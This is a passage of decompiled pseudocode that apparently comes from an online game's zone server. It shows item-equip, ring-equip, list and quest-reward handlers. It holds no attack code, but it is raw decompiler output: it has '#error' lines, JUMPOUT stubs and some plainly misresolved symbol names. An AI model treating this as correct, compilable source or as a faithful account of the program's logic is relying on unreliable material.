ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)(v5 + 35680), (ChargedEffectContainer *)(v5 + 142688)); uii.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v88) = 1; uii.uii_LockList = (InventoryLocking::InventoryCellLock *)(v5 + 57880); uii.uii_InvenType = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { LABEL_87: v68[0] = 654; LABEL_88: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, v68[0]); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; goto LABEL_103; } v41 = excellnum; k = 0; if ( excellnum > 0 ) { lp = (int)(v38 + 45); while ( 1 ) { v42 = (void *)(**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); v43 = uii.uii_Iterator->ibi_finger; v44 = *(_DWORD *)(v5 + 35680); insertcell = v42; if ( v43 >= (*(int (__thiscall **)(int, int))(v44 + 4))(v5 + 35680, v5 + 142688) ) break; v45 = *(_DWORD *)(v5 + 57880); LOWORD(invchr) = v43 & 0x3FF | 0x2400; LOWORD(invequ) = excell[(_DWORD)k].ec_EquipSlot & 0x3FF | 0x2000; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int, int))(v45 + 16))( v5 + 57880, 8, v67, v70) ) { (*(void (__thiscall **)(int))(*(_DWORD *)(v5 + 57880) + 40))(v5 + 57880); v68[0] = 642; goto LABEL_88; } v46 = (*(int (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 2004))(v5, v71, v72); v72 = mainslot; v71 = v43; v70 = v9; (*(void (__thiscall **)(int))(*(_DWORD *)v46 + 76))(v46); v47 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, void *, ItemInventoryCell *, int *, ItemInfoServer **))(*(_DWORD *)v47 + 56))( v47, v9, insertcell, excell[(_DWORD)k].ec_EquipCell, &invchr, &invequ); v48 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, ItemInventoryCell *, ItemInfoServer **, int *))(*(_DWORD *)v48 + 48))( v48, v9, excell[(_DWORD)k].ec_EquipCell, &invequ, &invchr); v49 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, int, ItemInventoryCell *, signed int, _DWORD))(*(_DWORD *)v49 + 72))( v49, v9, (unsigned __int16)invequ & 0x3FF, excell[(_DWORD)k].ec_EquipCell, -1, 0); v50 = excell[(_DWORD)k].ec_EquipCell; v51 = lp; *(_DWORD *)(lp - 8) = *(_DWORD *)&v50->iic_Item.iti_registnum.binary.gap0[0]; *(_DWORD *)(v51 - 4) = v50->iic_Item.iti_registnum.binary._bf4; *(_BYTE *)v51 = v43; v52 = InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) == 0; v41 = excellnum; if ( v52 ) { if ( (signed int)((char *)&k->ID + 1) < excellnum ) break; } v34 = __OFSUB__((char *)&k->ID + 1, excellnum); v33 = (signed int)((char *)&k->ID + -excellnum + 1) < 0; k = (ItemInfo *)((char *)k + 1); lp += 9; if ( !(v33 ^ v34) ) { v40 = equcell; goto LABEL_82; } } (*(void (__thiscall **)(int, int))(*(_DWORD *)(v5 + 57880) + 40))(v5 + 57880, v9); goto LABEL_87; } LABEL_82: LOBYTE(v88) = 0; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } v53 = (void *)invcell; v38[36] = v41; *((_WORD *)v38 + 8) = equslot & 0x3FF | 0x2000; *((_DWORD *)v38 + 2) = *(_DWORD *)v53; v54 = IsPutOnBelonged; *((_DWORD *)v38 + 3) = *((_DWORD *)v53 + 1); equcell = (unsigned __int16 *)((char *)v53 + 8); *((_WORD *)v38 + 9) = *((_WORD *)v53 + 4); v55 = mainslot & 0x3FF | 0x2400; *((_DWORD *)v38 + 5) = v54; *((_WORD *)v38 + 16) = v55; if ( v40[4] == -1 ) { *((_DWORD *)v38 + 7) = -1; *((_DWORD *)v38 + 6) = -1; } else { *((_DWORD *)v38 + 6) = *(_DWORD *)v40; *((_DWORD *)v38 + 7) = *((_DWORD *)v40 + 1); } if ( IsPutOnBelonged == 1 ) { v56 = *((_DWORD *)v53 + 28); if ( !v56 ) goto LABEL_103; (*(void (__stdcall **)(int, signed int))(*(_DWORD *)v56 + 148))(invcell, 1); } if ( v40[4] != -1 ) { v57 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, ItemEquipEnum, unsigned __int16 *))(*(_DWORD *)v57 + 76))( v57, v9, equslot, v40); } v58 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, unsigned __int16 *, int, char *, char *))(*(_DWORD *)v58 + 56))( v58, v9, v40, invcell, v38 + 16, v38 + 32); v59 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, int, unsigned __int16 *, char *, char *))(*(_DWORD *)v59 + 56))( v59, v9, invcell, v40, v38 + 32, v38 + 16); v60 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, int, ItemEquipEnum, unsigned __int16 *, signed int, _DWORD))(*(_DWORD *)v60 + 72))( v60, v9, equslot, v40, -1, 0); v61 = 9 * (unsigned __int8)v38[36] + 37; v62 = 9 * (unsigned __int8)v38[36] + 37; *((_WORD *)v38 + 17) = v9; v63 = ProtocolPacket::pp_SetPacketLen(&gpp, v62); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v63, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Packet Too Long", v61) ) { v64 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v64); } *(_BYTE *)(v5 + 66152) = 1; if ( v40[4] != -1 ) { v65 = ItemDataBox::operator__(&itemdatabox, *equcell)->data; if ( v65 ) { v66 = ItemDataBox::operator__(&itemdatabox, v40[4])->data; if ( v66 ) { if ( v66->AutoMon == 1 ) { if ( !v65->AutoMon ) ShineObjectClass::ShinePlayer::sp_SetAutoPick(v5, 0); } } } } goto LABEL_103; } v22 = ItemDataBox::operator__(&itemdatabox, v21); if ( v22 ) { if ( v22->data->TwoHand ) goto LABEL_35; goto LABEL_41; } } else { if ( v17 != 13 || !*(_BYTE *)(lp + 118) || (v23 = (**(int (__thiscall ***)(_DWORD, _DWORD))v9)(v5 + 32312, 10)) != 0 && *(_WORD *)(v23 + 8) == -1 ) goto LABEL_41; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 12, 17); goto LABEL_103; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 643); LABEL_103: v88 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 508170: could not find valid save-restore pair for ebp // 537820: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); //----- (00508B80) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ(int a1, int a2, int netcmd, int equslot, int handle, __int16 a6) { int v6; // esi@1 int v7; // edi@6 int v8; // ST54_4@6 int v9; // ebp@6 int v10; // eax@9 int v11; // ecx@11 int v12; // edx@19 int v13; // ebp@19 ItemInfo *v14; // ebx@20 unsigned __int16 v15; // ax@20 ItemInfoServer *v16; // edi@20 E_BelongType v17; // eax@26 int v18; // ecx@27 ItemEquipEnum v19; // eax@30 int v20; // eax@34 int v21; // edi@38 int v22; // ST50_4@38 int v23; // ebx@40 int v24; // eax@42 char *v25; // edi@46 void *v26; // ecx@46 __int16 v27; // ax@46 __int16 v28; // ax@46 char v29; // al@49 ZoneBaseSession *v30; // eax@50 int v31; // edi@52 int v32; // eax@52 int v33; // edi@53 __int16 v34; // ax@53 int v35; // edx@53 int v36; // edi@53 int v37; // eax@53 int v38; // edi@53 int v39; // eax@53 int v40; // eax@53 int v41; // [sp+54h] [bp-2Ch]@19 FunctionEntarance _; // [sp+64h] [bp-1Ch]@1 int IsPutOnBelonged; // [sp+68h] [bp-18h]@26 void *ii; // [sp+6Ch] [bp-14h]@20 int invslot; // [sp+70h] [bp-10h]@40 int v46; // [sp+74h] [bp-Ch]@19 char *v47; // [sp+7Ch] [bp-4h]@1 int netcmda; // [sp+84h] [bp+4h]@38 v6 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; if ( !(_S7_50 & 1) ) { _S7_50 |= 1u; cmc_74.cmc_AllowMode = 70; atexit(_E8_42); } if ( !((1 << **(_BYTE **)(v6 + 3568)) & cmc_74.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v6 + 57880) + 20))(v6 + 57880) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 642); --funcallanalizer.fca_stackpoint; v47 = (char *)-1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); return; } v7 = *(_BYTE *)(netcmd + 2); v8 = a2; v9 = *(_BYTE *)(netcmd + 2); if ( v7 >= (*(int (__thiscall **)(int, int))(*(_DWORD *)(v6 + 35680) + 8))(v6 + 35680, v8) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : wrong slot", v9); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); LABEL_8: --funcallanalizer.fca_stackpoint; v47 = (char *)-1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); return; } LOBYTE(v10) = *(_BYTE *)(equslot + 3); v11 = (_BYTE)v10 == 15 || (_BYTE)v10 == 16; v10 = (unsigned __int8)v10; if ( !v11 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : wrong equip", v10); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_8; } if ( *(_BYTE *)(v6 + 66152) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(*(_DWORD *)(v6 + 57880) + 16))( v6 + 57880, 9, v7) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v6 + 3392))(v6); v12 = *(_DWORD *)(v6 + 35680); v41 = *(_BYTE *)(equslot + 2); v46 = *(_BYTE *)(equslot + 2); v13 = (*(int (__thiscall **)(int))v12)(v6 + 35680); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8)) ) { v14 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8))->data; v15 = *(_WORD *)(v13 + 8); ii = v14; v16 = ItemDataBox::operator__(&itemdatabox, v15)->dataserv; if ( AssertClass::operator__( &shineassert, v14 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 644); goto LABEL_54; } if ( !((1 << (((unsigned int)*(_BYTE *)(v6 + 32268) >> 2) & 0x1F)) & v14->WhoEquip) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 645); goto LABEL_54; } if ( v14->DemandLv > (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1236))(v6) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 645); goto LABEL_54; } IsPutOnBelonged = 0; v17 = ItemBelongAttribute::operator__(&g_ItmBelongAttr, (ItemTotalInformation *)v13); if ( CItemAuthorityBase::IA_IsDataPutOnBelonged(&g_ItmBelongAttr.baseclass_0, v17) ) { v18 = *(_DWORD *)(v13 + 112); if ( !v18 ) goto LABEL_54; if ( (*(int (__stdcall **)(int))(*(_DWORD *)v18 + 144))(v13) != 1 ) IsPutOnBelonged = 1; } v19 = EquipEnumChanger::eec_EquipLocation(&equipman, v16, (ItemBag *)(v6 + 32312)); if ( !v19 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 643); goto LABEL_54; } v20 = v19 == 15 || v19 == 16; if ( !AssertClass::operator__( &shineassert, v20, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : Try to equip Not Ring", 0) ) { v21 = *(_BYTE *)(netcmd + 3); v22 = *(_BYTE *)(netcmd + 3); netcmda = *(_BYTE *)(netcmd + 3); if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int, int))(*(_DWORD *)(v6 + 57880) + 16))( v6 + 57880, 8, v22, v41) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { v23 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v6 + 32312))(v6 + 32312, v21); v24 = !*(_DWORD *)(invslot + 98) && v21 < (*(int (__thiscall **)(int))(*(_DWORD *)(v6 + 32312) + 8))(v6 + 32312); if ( AssertClass::operator__( &shineassert, v24, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : Try to equip invalid item", *(_WORD *)(v13 + 8)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { v25 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = a6; *((_DWORD *)v25 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); *(_WORD *)v25 = 13328; *((_WORD *)v25 + 8) = equslot & 0x3FF | 0x2000; v26 = ii; *((_DWORD *)v25 + 2) = *(_DWORD *)v13; *((_DWORD *)v25 + 3) = *(_DWORD *)(v13 + 4); v27 = *(_WORD *)(v13 + 8); *((_DWORD *)v25 + 5) = v26; *((_WORD *)v25 + 9) = v27; *((_WORD *)v25 + 17) = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v6 + 2004))(v6) + 4); *((_WORD *)v25 + 16) = v46 & 0x3FF | 0x2400; v28 = *(_WORD *)(v23 + 8); ii = v25 + 32; if ( v28 == -1 ) { *((_DWORD *)v25 + 7) = -1; *((_DWORD *)v25 + 6) = -1; } else { *((_DWORD *)v25 + 6) = *(_DWORD *)v23; *((_DWORD *)v25 + 7) = *(_DWORD *)(v23 + 4); } v25[36] = 0; v29 = ProtocolPacket::pp_SetPacketLen(&gpp, 37); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v29, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Packet Too Long", 37) ) { v30 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v30); } if ( *(_WORD *)(v23 + 8) != -1 ) { v31 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 2004))(v6); v32 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); (*(void (__thiscall **)(int, _DWORD, int, int))(*(_DWORD *)v31 + 76))( v31, *(_WORD *)(v32 + 4), equslot, v23); } v33 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); v34 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6) + 4); v35 = *(_DWORD *)v33; _.fe_FunctionCode = v47; (*(void (__thiscall **)(int))(v35 + 56))(v33); v36 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); v37 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); (*(void (__thiscall **)(int, _DWORD, int, int, int, int))(*(_DWORD *)v36 + 56))( v36, *(_WORD *)(v37 + 4), v13, v23, IsPutOnBelonged, handle); v38 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); (*(void (__thiscall **)(int, _DWORD, int, int, signed int, _DWORD))(*(_DWORD *)v38 + 72))( v38, *(_WORD *)(v39 + 4), netcmda, v23, -1, 0); v40 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 2004))(v6); ++*(_WORD *)(v40 + 4); *(_BYTE *)(v6 + 66152) = 1; } } goto LABEL_54; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 643); goto LABEL_54; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } LABEL_54: v47 = (char *)-1; FunctionEntarance::_FunctionEntarance(&_); } // 508B80: could not find valid save-restore pair for ebp //----- (005091A0) -------------------------------------------------------- #error "5091A0: undefined or illegal type '#593' (funcsize=116)" //----- (00509340) -------------------------------------------------------- #error "509340: undefined or illegal type '#593' (funcsize=80)" //----- (00509460) -------------------------------------------------------- void __thiscall TreasureChestLocationManager::TreasureChestLocationManager(TreasureChestLocationManager *this) { BitSet::BitSet(&this->baseclass_0, 8); } //----- (00509480) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 65D868: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (005094A0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemOperateElement *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x78u); return 1; } // 5094B6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005094E0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemOperateElement *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x78u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00509530) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemOperateElement *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x78u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00509580) -------------------------------------------------------- void __thiscall ItemOperateList::_ItemOperateList(int this) { int v1; // esi@1 void *v2; // esi@1 v1 = this; *(_DWORD *)this = List::_vftable_; _eh_vector_destructor_iterator_( (void *)(this + 24), 0x78u, 40, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)v1 = List::_vftable_; v2 = *(void **)(v1 + 8); if ( v2 ) operator delete__(v2); } // 65D868: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (005095F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone(void *this, int lc) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x5000; if ( !*(_DWORD *)(lc + 16) ) { *(_WORD *)((char *)v2 + 32205) += *(_WORD *)(lc + 20); *((_WORD *)v3 + 1) = *(_WORD *)((char *)v2 + 32205); *(_WORD *)v3 = *(_WORD *)v3 & 0xFC03 | 3; } if ( *(_DWORD *)(lc + 16) == 1 ) { *(_WORD *)((char *)v2 + 32207) += *(_WORD *)(lc + 20); *((_WORD *)v3 + 1) = *(_WORD *)((char *)v2 + 32207); *(_WORD *)v3 = *(_WORD *)v3 & 0xFC04 | 4; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_soulstonebox : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"); } //----- (00509740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward(void *this, int lc) { void *v2; // esi@1 char v3; // ST04_1@2 char v4; // ST00_1@2 CCharacterTitleZone *v5; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_GainExp(v2, *(_DWORD *)(lc + 16), -1, -1); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 32))(v2, *(_DWORD *)(lc + 20)); if ( *(_BYTE *)(lc + 24) ) { v3 = *(_BYTE *)(lc + 25); v4 = *(_BYTE *)(lc + 24); v5 = (CCharacterTitleZone *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1052))(v2); CCharacterTitleZone::SetTitleStatus(v5, v4, v3, ELEMENT_USABLE); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"); } //----- (00509820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KQReward(void *this, int rewardstr) { void *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ebp@7 unsigned int v7; // eax@8 char *v8; // eax@8 int v9; // ecx@8 ShineReward *v10; // eax@9 ShineReward *v11; // edi@9 signed int v12; // eax@11 int *v13; // eax@12 char *v14; // edi@17 int v15; // ebp@17 int v16; // ecx@18 unsigned int v17; // eax@18 char *v18; // eax@18 ZoneBaseSession *v19; // eax@20 int v20; // edi@21 int v21; // eax@21 int v22; // edi@21 int v23; // eax@21 int v24; // eax@21 char *v25; // [sp+4h] [bp-424h]@5 int cen; // [sp+18h] [bp-410h]@1 int fame; // [sp+1Ch] [bp-40Ch]@3 int exp; // [sp+20h] [bp-408h]@3 int v29; // [sp+24h] [bp-404h]@7 FunctionEntarance _; // [sp+28h] [bp-400h]@1 TreasureChestMaker itemmaker; // [sp+2Ch] [bp-3FCh]@3 unsigned int v32; // [sp+418h] [bp-10h]@1 int v33; // [sp+424h] [bp-4h]@1 v2 = this; v32 = (unsigned int)&cen ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KQReward"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)((char *)v2 + 32175); *((_DWORD *)v4 + 1) = *(_DWORD *)((char *)v2 + 32179); *((_DWORD *)v4 + 2) = *(_DWORD *)((char *)v2 + 32183); *((_DWORD *)v4 + 3) = *(_DWORD *)((char *)v2 + 32187); v4[16] = 0; v5 = *(_DWORD *)v2; v33 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v5 + 1152))(v2) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) == 3 ) goto LABEL_5; exp = 0; cen = 0; fame = 0; TreasureChestMaker::TreasureChestMaker(&itemmaker, chest, 7, 0); LOBYTE(v33) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&itemmaker) ) { LOBYTE(v33) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); LABEL_5: v25 = "ShineObjectClass::ShinePlayer::sp_KQReward"; goto LABEL_6; } v6 = rewardstr + 36; v29 = 15; do { v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = (*((_DWORD *)v8 + 8192) + 1) & *((_DWORD *)v8 + 8193); *((_DWORD *)v8 + 8192) = v9; if ( *(_WORD *)&v8[2 * v9] < *(_WORD *)(v6 + 30) ) { v10 = RewardData::rd_FindHandle(&rewarddata, *(_WORD *)v6); v11 = v10; if ( v10 ) { switch ( v10->RewardType ) { case 1: v12 = ShineObjectClass::ShinePlayer::sp_GetItemWhoEquip_ClassGroup(v2); TreasureChestMaker::tcm_ItemMake(&itemmaker, 7, v11, v12); break; case 2: exp += v10->Quantity; v13 = &exp; goto LABEL_15; case 3: cen += v10->Quantity; v13 = &cen; goto LABEL_15; case 4: fame += v10->Quantity; v13 = &fame; LABEL_15: (*(void (__thiscall **)(void *, int *))(*(_DWORD *)v2 + 3168))(v2, v13); break; default: break; } } } v6 += 2; --v29; } while ( v29 ); v14 = gpp.pp_Buffer; v15 = TreasureChestMaker::tcm_PutInto( &itemmaker, 0, (PROTO_ITEM_CMD *)gpp.pp_Buffer + 36, 0, (TreasureChestLocationManager *)((char *)v2 + 139627), 2u); if ( v15 ) { *(_WORD *)v14 = 22549; *((_DWORD *)v14 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v14 + 7) = *((_WORD *)v2 + 2); *((_WORD *)v14 + 12) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2) + 4); *(_DWORD *)(v14 + 6) = cen; *(_DWORD *)(v14 + 10) = 0; *(_DWORD *)(v14 + 2) = fame; v16 = *(_DWORD *)((char *)v2 + 98); v17 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v17; v18 = (char *)&namestring + 256 * v17; *(_DWORD *)v18 = *(_DWORD *)v16; *((_DWORD *)v18 + 1) = *(_DWORD *)(v16 + 4); *((_DWORD *)v18 + 2) = *(_DWORD *)(v16 + 8); v18[12] = 0; *((_WORD *)v14 + 13) = BTree::operator__(&mapdatabox.mdb_btree, v18); *((_DWORD *)v14 + 7) = 0; *((_DWORD *)v14 + 8) = 0; *((_DWORD *)v14 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v15 + 37) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long", v15 + 37); } v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); v21 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v20 + 64))( v20, *(_WORD *)(v21 + 4), cen, 0, 1); v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 